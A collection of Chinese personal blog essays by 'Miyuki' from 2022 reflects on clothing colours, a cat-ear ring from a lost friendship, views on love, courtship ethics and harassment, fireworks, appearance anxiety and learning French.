　　我原来幻想过什么时候能像她一样，什么颜色的衣服都敢穿，衣柜里也铺满彩虹而非太极对抗。

　　但我究竟太胆小，还是只迈出了一小步。很小的一步，从鞋开始，并且鞋面白色居多，蓝色只占小部分。

　　现在我又变回了原来的那个自己，并把有的这些与平日风格差异巨大的衣物们，当做自己曾经勇气的象征，和曾经努力的证明。

　　事实上，这些衣服们在我身上显得并不那么反差剧烈，风格迥异，没有那么糟糕。相反，我甚至还很喜欢我鼓足了巨大勇气买的蓝白板鞋。 因为它看起来让我少年了许多。 我是这样觉得的。

　　有鉴于此，虽然风格相异的十个名额已满，但我还是想鼓足勇气买一件克莱因蓝的衣服。

　　前几天看到有星星点点的人穿这个颜色，我觉得很羨慕。在我心里，克莱因蓝是一个十分阳光的颜色，搭配上 T 恤，不敢说能显白，但至少能显得很干净，很阳光，很少年。

　　我希望即使我这般阴暗的人，也能借着这件衣服的光，看起来阳光一点，少年一点。

　　或许这也是为什么下定这个决心时，标题用的是“随记”而不是“吐嘈”。每篇随记都是一个思绪飘飞的时刻。

　　大概也只有我自己才知道，买一件克莱因蓝的衣服需要多大的勇气。

　　虽与自己的气场有些冲突，但我希望我做的这个决定是对的，将来不后悔。

　　虽然那位小姐勉强算一个糟糕的初恋，但我很感激她带领我探索的这一些未知，和她留下的东西。

　　等到克莱因蓝的衣服送到的那一天，我会把这项梦想标记为「已完成」，然后朝着下一个目标努力。

　　我也希望即便没有她带领我了，我自己也能逐渐摆脱由黑白灰红构筑的世界。

　　

　　南国微雪 Miyuki

　　2022 年 8 月 22 日

写在后面

　　这篇文章是从 2022 年 8 月 21 日的日记里摘录的，因表达了很多我想为之成文的东西，犹豫再三，终于裁出来取名《克莱因蓝》。

猫猫戒指

封面图

摄影师 | 佚名

图源 | 淘宝店铺

写在前面

1894 字 | 心绪强烈

正文

　　总会有一个东西，平日安静躺在角落里，哪天无意间翻出来，蓦地触动心弦。

　　因为平日不怎么佩戴饰品，所以一直雪藏在一个盒子里。昨天找数据线无意一瞥，而一瞥惊鸿：自己已快要将它忘掉了。

　　戒指上有两个猫耳，粉色的两个小三角嵌在戒指的三角银框里，戴上去会顺着手指的方向。倒也不会感到不适。简约又漂亮。

　　若单论饰品，可能并没有什么特别之处，毕竟设计并不让人过于惊艳。它之所以划过心弦，和它的来历，以及另一半密不可分。

　　它们起初是一个人送我的礼物。戒指，是一对。

　　送我戒指的人，是喵喵。一个网友。我忘了他出于什么理由给我买这个，实在记不清。记得清楚的，只有他问我，要粉色的还是要银色的。银色的，戒指上的银框还在，但是没有里面粉色的三角瓷了。最后没忍住自己的欲望，要了粉色的。 谁说猛男不能喜欢粉色。

　　取快递，发现是一对，两只。遂上线问他，怎么回事。然后他回了一句，我至今仍记得的话。

　　“那你把另一个送给你最重要的女孩子呗。”

　　之后我一直践行着这个承诺，虽然可能对方并没有意识到。直到现在我都很明确，最重要的女孩子，那肯定是女朋友。所以，那一个戒指，便一直安静地躺在我的储物箱里，看着白亮亮的储物箱板，没怎么动弹过。

　　那时候，我也没有能够送出去的人。甚至于，连一丁点送出这个戒指的冲动都没有。虽然周遭的女孩子众多，但都是朋友。 朋友和恋人的界限，于己而言——泾渭分明。

　　直到那位小姐划过我的天空，从此渭水之滨，有了身影。

　　最后将戒指送给了她。那是一个平淡无奇的早晨，雁过无痕，在记忆之海里泛不起一丝波澜。我无从叙述我是怎样给她的，但有一点我知道：我给出去的时候，内心很是羞耻，以及——完成承诺总会随之而来的开心的感觉。

　　随后，一个月内，这段初恋迅速死亡。

　　不过我不否认，我确实那样认定过，所以我也不后悔。 渭水沿岸，再无身影 ，唯有海浪与拍击声曲高和寡。

　　一转爱情颇感乏味，而我也并不认为在猫猫戒指的这个世界里，爱情占着重要的角落。因为猫猫戒指里，藏的最多的是友情。

　　我不知道私自将其称为友情，有无狂妄嚣张之嫌，但那段时间我确实有这种感觉。我们曾在某个法定节假日相约成都见面，与其他能约到的朋友一起。那个时候，我们手上都带着这个戒指。他们还笑我说：“你这个戒指怎么戴在无名指上。”我只得讪讪一笑：“这不是中指戴不下嘛……”

　　侃天聊地，学术科幻，无一不谈。

　　我自己戴的这个戒指，如今已脱漆掉色，颇有陈年锈迹之感，如一段经过风吹日晒雨淋的锁链。 而后某一天，泾河骤变，喵喵也消失在了岸边 ，只留下了一串脚印，以叙说着他曾经来过。锁链锈蚀，也终会断裂。

　　《亲密关系》中曾说，一段友谊最终失败的大多数情形下，总会发现有人违背了另一方制定的友谊规则，就算它再怎样不明晰。

　　那段时间，我常常问自己，我做错了些什么。越想得深入，越迷失在自己的性格里。我有时总想着去道个歉，但是并不是所有事情都能通过道歉解决。并且，如果来一句：“为什么要道歉？”，我想，我可能会语塞良久。

　　我至今都不知道我哪里出了问题。有一些假设，但不敢再去确认。

　　与此同时，我患上了“前程似锦”综合征。从此极度害怕有人和我说这句话。

　　“祝你一路顺风，前程似锦。”

　　我把它用在了，对那位小姐的生日贺信上。庆祝第二次也是最后一次的生日后，文末，附上了这句话。那时，她已经交上了新的男朋友，是她暗恋的人。与和我在一起的一个月不到不同，到她生日那天，他们已经走过了七个月。

　　我很难说清楚这句话对我象征着多少东西，但有一种意义极为显眼，那便是诀别。

　　我非常希望能和喵喵说一句对不起，纵然他应该不明白我出于什么意义。我有时也会幻想，他有没有可能不会问我道歉的原因。

　　我对那位小姐，则完全没有这样的想法。

　　在猫猫戒指所构筑的这个世界里：我送了一只戒指，曾隶属于爱情，如今杳无音信，我不后悔；如今锈蚀了一只戒指，仍在我手上，曾隶属于友情，如今远不比往昔，我极度后悔。

　　但猫猫戒指不管这些，它只依然用它粉色的耳朵，依托指环聆听这个世界，不管我乱七八糟的想法。我想，这对我而言，是一种庆幸。

　　我没有对这篇文章定一个特定的感情基调，所以它肯定不是后悔与愧疚。硬要说，更多的接近怀念。依我而言，这临近两千字，只是在讲一个故事。一个不甚明晰的、怀念到极度主观的、由猫猫戒指引发的故事。

　　故事到这里就结束了。我不确定这个猫猫戒指会不会有一个新的未来，但有一件事情是明确的：我专为它写的这些字，我不后悔。

　　衷心写给我的朋友：@CircuitCoder。

　　及致我的前任：那位小姐。

　　

　　南国微雪 Miyuki

　　2022 年 8 月 17 日

写在后面

　　愿你们都能有好运。珍视每一件礼物。珍惜每一个人。珍惜每一段现在的时间。

微雪爱情观

封面图

摄影师 | Jason Hogan

图源 | Unsplash

写在前面

945 字 | 暴言注意

正文

　　最近有个人劝我，要相信爱情。

　　经常这样劝我。

　　说实话，我不知道怎么和她形容，对于爱情，我不相信到了什么程度。

　　曾记得写过一句话：“如果一个人的绝望，到了你用力抱紧也无法缓解的地步，到了倾尽你所有的好意与善意仍然无效的程度，你会不会陷入深深的绝望？”

　　这句话是我自己写的。当初拿着这句话反复问自己：如果你爱那人，是不是仍然有坚强的意志去抵抗这洪水猛兽？

　　答案是，我不确定。

　　虽然我知道这种情况极少发生，但我依然觉得，如果两个人要一直走下去，总会有那么一两件事，逼近这个程度。

　　比如她工作压力大到崩溃，抱在怀里都还止不住地颤抖；

　　或者见到重要的人溘然长逝，整天把自己锁在房间里不愿出来；

　　抑或曾经因为某些事情命悬一线，从此谨小慎微。

　　程度一级比一级严重，但谁也不能保证，这类似的事情不会发生。

　　我一直说自己仍然不具备成为一个好男友的能力。因为，我觉得我在上面那些情境下，束手无策。

　　可能有人觉得这未免太过理想主义，哪有万全的准备。

　　但我如果认定了，就想给对方十足的安全感与足够的信心。安全到，她确信我会一直在她身后，所以义无反顾往前走；信任到，无论什么事情搞砸了，我都有能力逐步挽救回来。

　　或许事情不会轻易如人愿，但我至少想要，也希望她相信。

　　但这不是我一个人的事情。

　　前任对我的影响很大。

　　我仍然抱着这种初衷和愿望，但逐渐封闭自己的内心。

　　既然我自己还需要成长，而且过于一厢情愿，那么我还想，花更多的时间提升自己效率更高。

　　有人曾经笑我，找个女朋友怎么变成 net loss （净亏损）了。

　　记得一则寓言，印象很深。两只刺猬抱团取暖，太近会扎伤，太远会冷，于是调整姿势，拉开距离，终于如愿。我和爱情就是这样——只是不知道什么时候，有一只刺猬，不再愿意靠近另一只刺猬了。

　　对于爱情，现在就是那个人的感觉。那句当初反复问自己的那句话里，那个绝望的人的感觉。

　　如果太过抽象，可以说得实在一点：

　　我相信有美好的爱情存在，并且亲眼看到过，很多人都为之倾倒和祝福。但，我绝不会相信它会发生在自己身上，我也不会从它身上汲取哪怕一点营养。我相信，再疼再难，慢慢学着一个人去忍受、发泄、克服，也总比抱着不切实际的幻想来得实在。

　　若要劝我相信爱情，就此罢了吧。

　　

　　南国微雪 Miyuki

　　2022 年 8 月 10 日

写在后面

　　这篇文章，也许，是写给某个人的回答。

阑珊，散落人间

封面图

摄影师 | Inactive account – ID 1643606

图源 | Pixabay

正文

　　写下这些字的时候，人正坐在图书馆，但不想复习。

　　适逢看到了一篇文章，话语言辞，行文段间透露出来的柔情与暖意，颇似自己当初梦想成为的那样。便猛然间生出许多感触。

　　后断断续续忆起，那许多的，散落在人间，几乎快被我忘记的事情。


　　前两天，酷暑日。买奶茶，正常冰。然后忽然记起了什么，便歉意地对茶百道的店员要求，换成少冰。她曾经说过，她肠胃不大好，不太喜欢冰或者凉的东西。

　　那个店员愣了一下，看了我一眼：“六号吗？”

　　“对。”

　　最后将奶茶递出来的也是那个店员。

　　“现在喝还是打包？”

　　“打包，送人。”

　　“好，请稍等。”

　　他娴熟地拿起包装袋，将奶茶放进去，然后拿了一根吸管放进去。

　　我看向外面被树叶剪得斑驳细碎的光斑，心里默默地感慨着夏天，然后回过头来，怔住了。

　　我在他的对面，前台，看见他迟疑了一两秒钟。旋即，吸管被抽了出来，然后被裹上了一层前台的纸巾，又放了进去。那纸巾只简单地打开了一层。

　　“请慢走。”他把包装袋递到我手上。

　　我抬头看向他。大概因为店里的要求，这样炙热的天也戴着口罩，我看不清他的眼睛里有没有笑意。

　　我走出店，将吸管拿出来，看了一下，包裹的那里并没有破损或者污渍。回头看那店员，他仍在忙碌着。我有些迷惑。

　　走了两步，然后突然想起：我原来和珂调侃过，成都，她那家茶百道售货员在找零后，递给顾客时，用的都是双手。

　　珂很喜欢茶百道。我对茶百道没有什么感情，也不清楚茶百道是否都这样。

　　但我在想起这件这件事时，却几乎断定了这是那店员的一种关心。说不清依据，也说不清明白这件事之后是什么感觉。

　　我一直想把这件事情写下来，却总是没有时间，如今在淡却之际电光火石记起，我想，再不写下来，大概就再也不会写下来了。


　　回到文章里的内容。

　　不对答案做出评价，因为，大概也不需要评价。

　　仍是在毕业季，也恰值我们表演结束，一行人各自买盒冰粉，悠悠地走在路上，碎碎地聊着。繁星点点，路灯昏黄，就连操场上跑步和玩游戏的人都没有多少，似乎格外安静。

　　有人将在那天晚上，对自己的恋情做出决断。

　　我们中很多人为他出主意，而我只是默默地听着，因为我想我帮不上什么忙。

　　他起身，出发。我们目送他离去。

　　半小时后，传来消息。随后一行人强行把他从宿舍里叫出来，转战食堂一楼。可能确实和一群朋友在一起心里会好受得多。

　　操场草地和食堂一楼那张小小的桌子上，都横七竖八地散落了许多话语。我们的安慰、想法、价值观、人生经历、情感体验、信念，以及勇气等等等等。

　　有一个男孩子，大一，曾经说到他的父亲。

　　他父亲算一个很典型的男性，在各种好的方面。

　　他说，他母亲曾经跟着他父亲吃过很多苦，这是他父亲亲口告诉他的。一切渐渐好起来以后，父亲便不让母亲做什么事情了，怕她累。

　　他说，这个时候，父亲在家里家外是两种样子。

　　一直以来，父亲在外都是慓悍而凶猛。曾有一次，父亲接了个单，临近交货期限，甲方却反悔了：有一个竞争者出价更具诱惑力。父亲知道那个竞争者，人家心眼多，但甲方不知道。遂要求甲方仍和他交易，但甲方不听，仍坚持己见。然后父亲以一种很具威慑力的方式拿下了这个订单。

　　“我爸那个时候真的很震慑人。他那时候真的有同等的力量，就和有人把刀架在你脖子上一样。如果有刀，我觉得他可能真有干这种事情的魄力。”

　　家里，落差却极大。什么事情都怕他母亲累着，做饭洗碗什么都是他来。有一次，母亲想在外找份工作，父亲不许。交流沟通一番，父亲说，那份工作很累，可能回来之后人就没有什么精神了。

　　对于他家里的这些琐碎的细节，他并没有透露太多，我也无从记述。但，在这之后，他很清楚明白地说明了他的中心观点。说得铿锵有力。

　　“ 我从小便是看着我爸的背影长大的。 他是真的用行动告诉了我，什么叫一个男人的责任和担当。该在哪里彪悍，在哪里温和。我别的没学会，就学会了这一点。 我一直很想成为我爸那样的人。 ”

　　我当时说，这种“顶梁柱”的家庭模式其实问题挺大的。

　　他说，他知道。他母亲也时常说，不想让他父亲太累，也知道他父亲这么做的根源。

　　我说，人生总有意外，“顶梁柱”坍塌的后果可能是毁灭性的。

　　他说，他和父母三个人都知道。

　　“我妈很有能力。如果天塌下来了，她大概也能撑起来。我爸应该也知道这一点。”

　　我无话可说，盯着他的眼睛，只说了最后一句话：

　　“你很幸福。”

　　我确实是这么想的。也确实非常羡慕这样的孩子。

　　答案中说：“在我们中式文化中，有一个词语叫留白，这种感受就是一种留白。他们对父亲或者母亲，只有些许的理解和印象，而剩下的一切，都是茫茫的一片白。/所以只能去揣测，去想象，去描绘。”

　　这个学弟，在幸福的那一面，充分地证明了这一点。所以我在看这个答案时，掀起了极大的共鸣。毕竟或多或少，我也是看着我父亲的背影长大的。

　　我永远也忘不了，我在父亲的摩托车后座上，看着父亲边骑车，边说话边哭的样子。 声音颤抖。

　　灵曾经推荐过我一本书，叫做《回答不了》，作者匡扶，是本漫画。别的已经记不清了，就只记住了作者采访的一段记录。印象尤为清晰。

　　“现在自己当父亲了，父亲节有什么感觉吗？”

　　“感觉……不敢当。”

　　我时至今日，仍感觉自己没有做好一个男朋友的能力。各方面都还不够成熟，不够好，比如沟通，了解女性的心理，策划惊喜，保持真诚，提供支撑等等等等。更不要提作为一个父亲。

　　父亲和母亲，大约的确是最难当的一个职业。


　　在文章的最后，我挣扎着用残破的笔和破碎的文字记录这一切。

　　我知道自己的写作水平一直在下降，但仍然抱有这种奢侈的期望：我希望某一天，我也能写出这种回答，给人以温暖和力量。

　　这也是我开设 Telegram Channel 和公众号的初衷，至今仍没改变过。

　　我希望开放自己世界的一部分，让无数远方的人们，能够偶然间引起共鸣，能知道有这样一个人有着相同的经历或忧虑。最后，能给予人继续行走世间的勇气。

　　这可能一直是一个奢望，但我仍在期望。

　　文字和舞蹈都给我力量，让我安心与宁静。希望文字也能给你们带给你们这种力量。

　　写完整篇文章，内心平静。继续复习吧。


　　南国微雪 Miyuki

　　2022 年 6 月 22 日

写在后面

　　我知道文章中，若只想记叙重点，很多文字无关紧要。但我仍添作上去，一想保留些生活气息，二来想作为自己生活的体验和记录。

　　我已经没有多少记录的时间了。

　　有一句话叫做：“文章一旦发表出去，作者就已经死了。”

　　希望各位读者原谅我的这一份私心。

给男性

封面图

摄影师 | radu_floryn22

图源 | Pixabay

正文

　　前些天，认识的一女孩亲口叙述，她拒绝了一男孩的追求后仍被骚扰。前者为此伤透了脑筋，想尽各种办法恢复自己原有的生活节奏。

　　更久之前，也是认识的另一女孩，向我叙述了她在和前任分手不久，在夜晚被前任跟踪的事实。

　　我听后几乎快要晕厥，随即诞生了写这篇文章的想法。

　　我知道此文可能并不能起什么作用，但是我仍要这么做，想为普通的男性正名，也作为一个有良知的寻常人，倾诉贴近大众、起码不显得奇怪的恋爱观。


　　“好事不出门，坏事传千里。”上面两个例子其实不算是一个性别问题。

　　这种问题各类人都有，也无关性别，所以笔者叙述力争去性别化，因为性别其实从来都不是一个值得广泛讨论的话题。若需要讨论，我想，论社会的刻板习俗和印象会好得多，若是社会鼓励女性主动追求异性，同样会有这类事情，也同样会有人，站出来，为她们大众正名。


　　所以，我想讲的，其实是道德。

　　道德在哲学上一直是一个讨论不休的话题。西方哲学史上，关于道德，分有道德相对主义，道德绝对主义，道德义务主义论，道德后果主义论等等一派乱七八糟的理论。东方哲学史也从来不乏关于道德的论述。然而，单论道德有些太过抽象，为避免此文成为哲学论战文，笔者将其束之高阁，仅挑与主题相关的佐以辅助。

　　关于追求和恋爱观，世上也早有不计其数的理念，变种之多样，令人叹为观止。奇怪的是，在各方面进行了约束的社会习俗对此竟没有太多的要求。典型代表便是默许了“死缠烂打”这种行为的存在，甚至成为各大恋爱小说里屡见不鲜的手段。说好听点名为“感化”，难听点其曰“厚脸皮”。

　　前文案例中的“骚扰”，想必，在另一视角看来，大概会自认为“只要我不懈努力，对方一定会接受”。

　　笔者一直认同一种观点：但凡牵涉到两个人以上，完全不考虑其他人感受的，可以谓之暴力。不过如日本那种文化，算是矫枉过正，此处按下不表。


　　如何适当协调自己的欲望以及别人的感受，算是一种难题，解法因人而异。但是，起码要符合大众的道德和价值观。千百年来，发展到现在而形成的观念，经过了无数的实践检验和优胜劣汰，自有一定的原理。

　　每个人各自的经历、感情、想法都不太一样，所以很难制定一套标准化的流程，如照此，也会失掉许多精彩和体验。但有一点我们是知道的：亲密关系的双方是否舒适和惬意。

　　我们很容易发现，这两条原则，往往关联紧密。舍弃道德标准，往往也能带来对方的不安和焦虑。而当亲密天平进一步失衡，带来的可能是更极端的后果。

　　恋爱和追求需要做的，是在遵守道德常理和尊重对方感受的前提下，探寻尽可能多的未知体验，感受生活。这一规律其实也不用桎梏于爱情之上，任何人与人之间的联系都适用，只是爱情体现得尤为明显。

　　而产生前文这类让人忧虑的问题，很大程度上，就是因为违反了这两条原则。放在爱情中，我们可以很明显地看到其有一个共同的特点：自私扩大化，扩大到对方身上。

　　在最传统和常见的的第一爱(注)中，让人难过的一点是，女性的相对地位。《亲密关系》第九章关于性爱的论述中给出了如下的描述：“很多人仍认为性行为是一场男女互为对手的角逐——女性持有性奖品，而男性则通过欺骗、坚持和强权来赢得这种奖励”。

　　我们可以看到， 在很多不带有这种所谓“奖品”的关系中，如：朋友、师生、同学、师徒、同好等，上述骚扰、胁迫、跟踪等等的行为的频率都要远低于爱情。 道德约束作用在爱情中，因此异常突出。

　　我们很高兴女性的地位日渐提高，也希望这种好的势头在未来能够进一步发展，希望在笔者所看不见的未来，能够实现真正的性别平等。

　　回归正题：一己私欲是否引起别人的不安，可以是一个简单的衡量标准。如果有更有效、更明确的指标，尽管去评判就好。


　　上述是什么和为什么都错综复杂，接下来的怎么做，笔者认为可能只会更不明晰。管理学尚且达不到每个问题给出一个解决方案，都需要依赖经验积累，所以此处只能给出一个就笔者看来，能够行得通的解决方案。

　　这个问题根源只能是追求者的道德约束，而这个群体大多是男性（这也是我取这样一个颇有失偏颇题目的主要原因）。要从根源上解决问题，只能提高追求者的素质和道德水准。

　　然而这是一个漫长的过程，甚至说这是我们每一个人生活的最终目标也不为过。我们所见、所闻、所历、所学，大抵都是为此。

　　所以次之，就是提高被追求者的鉴人眼光。舍弃不合格的追求者，切莫一时求爱若渴，心切似虎。后者会带来更大的痛苦。

　　最次，若已经被“盯上”，笔者只能给出一条建议：降低自己对追求者的奖赏。此处的奖赏有着更广泛的意义，如自己多说的一句话，对对方多看的一个眼神，微笑之类。如果有必要，寻求公共援助，如警察、社会工作者、管理层等。


　　然而，笔者最终还是希望能从根源上解决问题。所以诚挚希望诸位追求者，若是刻板印象一点，希望包括自己在内的诸位男性，提高个人道德约束和素养。这是一个长期的过程。若是此不成型论述文的观念能够得到理解，或是深入内心，成为自己的要求和理念，那便是再好不过的万幸了。

　　最后送所有看到此文的人一句话，这无关性别。笔者对这句子印象极深，由衷喜欢，曾记录于日记本扉页：

　　「你越是费尽心思地去取悦一个人，那个人就越有可能让你痛彻心扉。终有一天你会明白，人和人之间想要保持长久舒适的关系，靠的是共性和吸引，而不是压迫、捆绑、奉承和一味的付出以及道德式的自我感动。」


　　南国微雪 Miyuki

　　2022 年 4 月 30 日

引用及附注

第一爱：传统男攻女受；

第二爱：男攻男受；

第三爱：女攻女受；

第四爱：女攻男受。

烟火自述

封面图

摄影师 | geralt

图源 | Pixabay

正文

　　“嘭！”

　　那是最美丽的时候，也是最终的时刻。

　　高中语文老师，曾告诉我们，文章必有起承转合，但有时也会不规则，比如，高潮即是结尾。

　　开始——发展——高潮和落幕。

　　那时百思不得其解，觉得这种结构很畸形，总感觉哪里让人不舒服，但又说不出来。

　　“这种结构像什么呢，像烟花，”老师在台上挥舞着大手，笑了笑，“最后炸开的那一下，是高潮也就是结束。”

　　烟火。


　　“嘭！”

　　小时很喜欢，现在大学了，跟天各一方的朋友重新聚在一起，才会喜欢这种东西。

　　寒冷的冬季，和旧友在广场小摊小贩买一束电光花，点着，看它四溅出无比绚烂的火花。

　　四人围一圈，站四个方位，同时点着。

　　那时我不止看着那铁丝上绽放的美丽，还往上抬起头，看了看那被电光花映照着的，明晃晃的笑脸。

　　淡黄接着淡黄，专注接着专注。他们的眼镜上映射着电光花迷人的片刻，透过眼镜，他们深褐色的瞳仁里，也晕散出相同的美丽。

　　“嘭！”

　　耳边传来烟火的声音。在那个寒冷的广场上，也在高中那些燥热得快要融化的夏天里。

　　语文老师在讲台上大刺刺地坐着，大手一挥，讲些有的没的。毒辣的太阳透过窗户，在靠窗的同学们身上施以恩赐。有人受不了，拉起蓝色的窗帘，整个教室便仿佛笼罩在一拢一拢的蓝色薄雾之中，只有边沿模模糊糊勾勒出一个不正经的长方形，彰显出太阳的威力。

　　自习时便只有空调嗡嗡作响。

　　我有时回过头，看着那些伏案疾书的少年少女。我无数次地这么做了。

　　在高考前几天，那些习以为常的声音，空调的嗡嗡声，耳边聒噪的蝉鸣，他们的聊天声，翻书声，笑声，蓦地全部变成了烟火声，在耳畔炸开。

　　烟火声，忽然让人胆怯。


　　“嘭！”

　　初中，不懂事的年纪。

　　2013 年，刚上初中。过年，烟花万束齐发，在三十夜的子时，将世界照得亮如白昼。

　　自那以后，我再没看过那般宏伟壮阔的天空，也再没遇见过如他那般，憨厚可爱的人。

　　他永远都是笑着的，像向日葵一样温暖阳光。向日葵有无数的瓣，烟花升上天空，也有无数游丝的美。

　　我那年轻的傲慢，也如烟火一般，经过两年的跋涉，升上天空，在天空炸开。

　　我看着和他的那唯一一张合照，忽然懂了。

　　许多灿然，许多绚烂，都随着他老实的笑声一并溜走了。而自己，还努力地在往天空进发。


　　“嘭！”

　　最小的烟火，绽放在篮球场上。

　　那是小学第一次抢断，也是唯一一次。

　　所有人都为之鼓掌。

　　我将篮球死死地抱在怀里，抬起头，分明看见他们眼里有着诧异与震惊。

　　我永远忘不了那个瞬间。那个在三秒禁区外尚且投不上栏的自己，震撼了所有人。

　　抢下来的那一次机会，投篮，落地，得分。擦网的那个声音，分明就是烟花盛开的声音。


　　“嘭！”

　　烟云过往，回首旧事，初闻不知曲中意，再闻已是曲中人。一词终了，曲终人散，恰是落幕现在时。

　　我现在丝毫不会觉得，起承落这种结构，有什么畸形，让人不舒服的地方。高潮和结局并在一起，是再寻常不过的事情。

　　纳兰容若幼时“抓周”，一把抓起珠钗与纸笔，成为绝世封笔，红楼宝玉的原型。其偏爱的，并非“烟火”，而却乎是“烟火”后的寂寥与清冷。

　　绽放美丽之后的憔悴与细小的，打在树叶上的烟火碎屑，对我们而言，更打动人心。

　　于我而言，生命的每个阶段，都在结尾绽放出了，不属于那个阶段的美丽。

　　幼时明知，初中明事，高中明人，大学明情。

　　当一切都快谢幕，几近带着灰心下场，台下忽而爆发出经久不息的掌声。每个阶段最后的心境，莫过如此。只是如浪潮，一环更扣一环。

　　现在的谢幕之礼已经开始。大学的烟火已在墨黑的天空点上了五颜六色。

　　我知道，这场烟火开始的含义。

　　我也知道，这场烟火的意义。

　　我会期待，这场烟火的美丽。

　　我也会期待，下一场烟火的开始。

　　所有的美好都在路上，你要经得起等。

　　我，即是烟火。

　　南国微雪 Miyuki

　　2022 年 4 月 26 日

给女性

封面图

摄影师 | Inactive account – ID 3803658

图源 | Pixabay

正文

　　首先先说一下写这篇文章的动机。

　　起这样一个容易遭人记恨的标题，大抵是在于昨天。那天我室友忽然在宿舍群发了一张截图，内容是他女朋友参与本校表白墙校花校草评选的文案和图片。

　　我室友表示他不理解。我也不理解。我们宿舍一群人几乎都不理解。

　　曾有幸目睹过他女友的容貌，确实长相俊美，颇有沉鱼之色，但也不至于倾国倾城。

　　这事发生后，他表示很震惊，说了他女友一顿，然后在群里聊天。他说她以前有过跟这个差不多的举动，只是程度轻一点，跟我们絮絮叨叨地聊了很久，说她有容貌焦虑，就想炫耀自己，以缓解这种情绪。还说女生都这样。

　　对于“都这样”的后者我不敢苟同，但炫耀自己这种行为我表示理解。

　　这举动涉及一些心理学知识，不过说深了颇有“掉书袋”之嫌。然而这种行为容易恶性循环，容易越陷越深，层层牢套，等到发觉就发现自己早已经堕入深渊。

　　说同情她吗？我不同情，因为我自己有类似的东西，只是在另一领域，摆脱它并不容易。

　　只是，我想容貌这种事情，应该是不至于的。

　　“入兰芝之室，久而不闻其香。”

　　祖先已经把话说得很明白了。眼光放近一点，近些年网上也有一句话与其类似。

　　“始于五官，终于三观。”

　　长相所起到的作用，只在关系不深时。这方面我不否认俊美之人所取得的优势，无论男性女性。所以我想他们相比我们才更容易具有容貌焦虑。

　　《亲密关系》中近乎残酷地宣布了一个事实： 人们天生喜欢俊美之人，并且对于长相美的认同，不同文化有着惊人的一致性。 但同时也宣告了另一个事实： 这种美是有代价的，人们对俊美之人更可能撒谎，俊美之人远不如普通人那样容易信任别人。 这就相当于以自己的眼光换取长相。

　　但这里需再次声明，相貌的作用范围，基本上仅仅局限于泛泛之交。真正能左右心情的，往往是深信之人的言语和动作。一言一语，都挂在你心上。然而这个时候，起作用的，往往是价值观。

　　这里姑且“掉”一下“书袋”，伯纳德·默斯坦有一个著名的 “刺激—价值观—角色”理论 ，得到人际关系科学学界的广泛认同。也即随着亲密程度的增加，两性都希望能得到尽可能多的热情、忠诚，此刻就是人格和价值观。而在价值观之后，还有一个层级，叫角色。感兴趣可以自己搜一下。这个时候长相所处于的“刺激”等级所起的作用，几乎微乎其微。

　　其实容貌长相和价值观问题，在各种领域都有涉及，只是表现形式不同。

　　音乐理论当中有一个很重要的观念：初期有一个好的旋律很重要，但后期并不一定，旋律是最显见的，但不一定是最重要的。

　　这里可以将旋律与长相划等号，将和弦、调式等等归入其他“后期最重要的东西”里。

　　甚至在将命脉交给“好看”手里的美术界，也有这样一个共识： “画技其次，立意重于全局。” 这个问题在漫画里表现得尤为明显。历史上有太多画风糟糕但备受喜爱的漫画了，如《乒乓》等等。但这个时候读者往往会认为不那么优美的画风，能成为其标志性的特徽。

　　这里放两张我很喜欢的图。其中有一张涂鸦。一张画风复杂，一张画风简单，但并不妨碍我同时喜欢它们。

　　所以，相貌并没有我们想象中的那样重要。对于这一点，俊美之人往往有明显的认知偏差（相对于我而言，或许是因为本人不好看，笑）。当然这也只是我个人的观点。

　　成功不止一种配方，没必要死盯着长相不放。大可以如舞者，用优美的姿态折服别人；或是如球星，用一技之长傲视群雄；再或者，如学者，用强识的博闻，获猎所有人的好感，遇人便能让对方觉得和你在一起聊天是一种享受。

　　为什么今天容貌焦虑如此严重？

　　我想是因为互联网。互联网鼓吹和放大了所有人的焦虑，“好事不出门，坏事传千里”，容貌焦虑也在其中。一张俊美之人的照片有时能引起一群人的狂欢，然后哀叹自己的皮囊。而真正好的，不甚在意容貌长相，在意性格的这些人，掀不起互联网的一丁点浪花。这也可能与他们很多时候在进行“灵魂沟通”而没有时间发声的缘故在里面。只有我这种闲暇之人，写些聊以慰藉的文字给人看。

　　总结起来，大莫就一句话： 人们容易接触到来自互联网的“容貌幸存者偏差”。

　　文章到这里接近尾声。

　　我只是一个不那么“好看”的普通男性。写此文的意义仅在于，希望能够传达自己内心的一份想法，如果能更狂妄一点，希望能代为传递那部分更在意性格的人们的想法。

　　而为什么取名《给女性》，是因为女性相较于男性更容易具有容貌焦虑。因为比例相差过大，还请原谅笔者贸然以偏概全。

　　最后，稍微说一点。男性方面各种压力也很大，身高焦虑，力量焦虑，权力焦虑，也包括容貌焦虑，甚至还有更为严重的经济焦虑（因为社会对男性要求更严苛），其程度不亚于容貌焦虑。

　　两性各有各的难处，我们需要互相谅解而非挑起对立。

　　望共勉。


　　南国微雪 Miyuki

　　2022 年 3 月 26 日

语言漫谈

封面图

摄影师 | Cherry Lin (left) & Charlesdeluvio(right)

图源 | Unsplash

正文

　　许多人好奇，我学习法语的原因。

　　要我自己来说，也说不出什么所以然。不过我想并没有什么特殊的理由。

　　我们离法国，加拿大，或者非洲法语圈的人太过遥远，似乎没什么实际用处。而且，法语娱乐文化似乎也并不太盛行，不像日本。这样一来，便更找不到学习这门语言的支撑了。

　　诚然，这些都有一定道理。

　　但一开始勾起我对法语兴趣的，是一篇课文，中学语文教材，名叫《最后一课》。许多人都大莫有些印象，哪怕只余下一点点。

　　课文讲述了当时法兰西第二帝国在普法战争中失利，主人公所在地区被划归德意志帝国，德意志帝国禁止该地区的学校教授法语，转而要求教授德语的故事。课文中，有着这样一句话： “他说，法国语言是世界上最美的语言最明白，最精确；又说，我们必须把它记在心里，永远别忘了它，亡了国当了奴隶的人民，只要牢牢记住他们的语言，就好像拿着一把打开监狱大门的钥匙。”

　　我已经在很多地方见到有人说，法语是世界上最美的语言。当然我一直是当玩笑看的，每个语言都曾这样说过自己。

　　不过这篇课文在尚且幼小的我心里种下了一颗种子。如果记得不错，这篇课文应该是七年级，我尚值 13 岁。是时懵懵懂懂，那句“亡了国当了奴隶的人民，只要牢牢记住他们的语言，就好像拿着一把打开监狱大门的钥匙”带给我的震撼，不亚于身处珠穆朗玛之巅俯瞰全球所带来的感觉。

　　那时便对法语有了些许好奇。只是很淡。

　　将这个萌芽继承下来，便有了今天。 不过最直接的原因，还是大一或者大二时的那个想法：既然三大语言类型学了两个了，不如再学一个，感受一下人类语言的瑰丽吧。

　　汉语孤立语（亦称分析语），日语黏着语，法语屈折语。

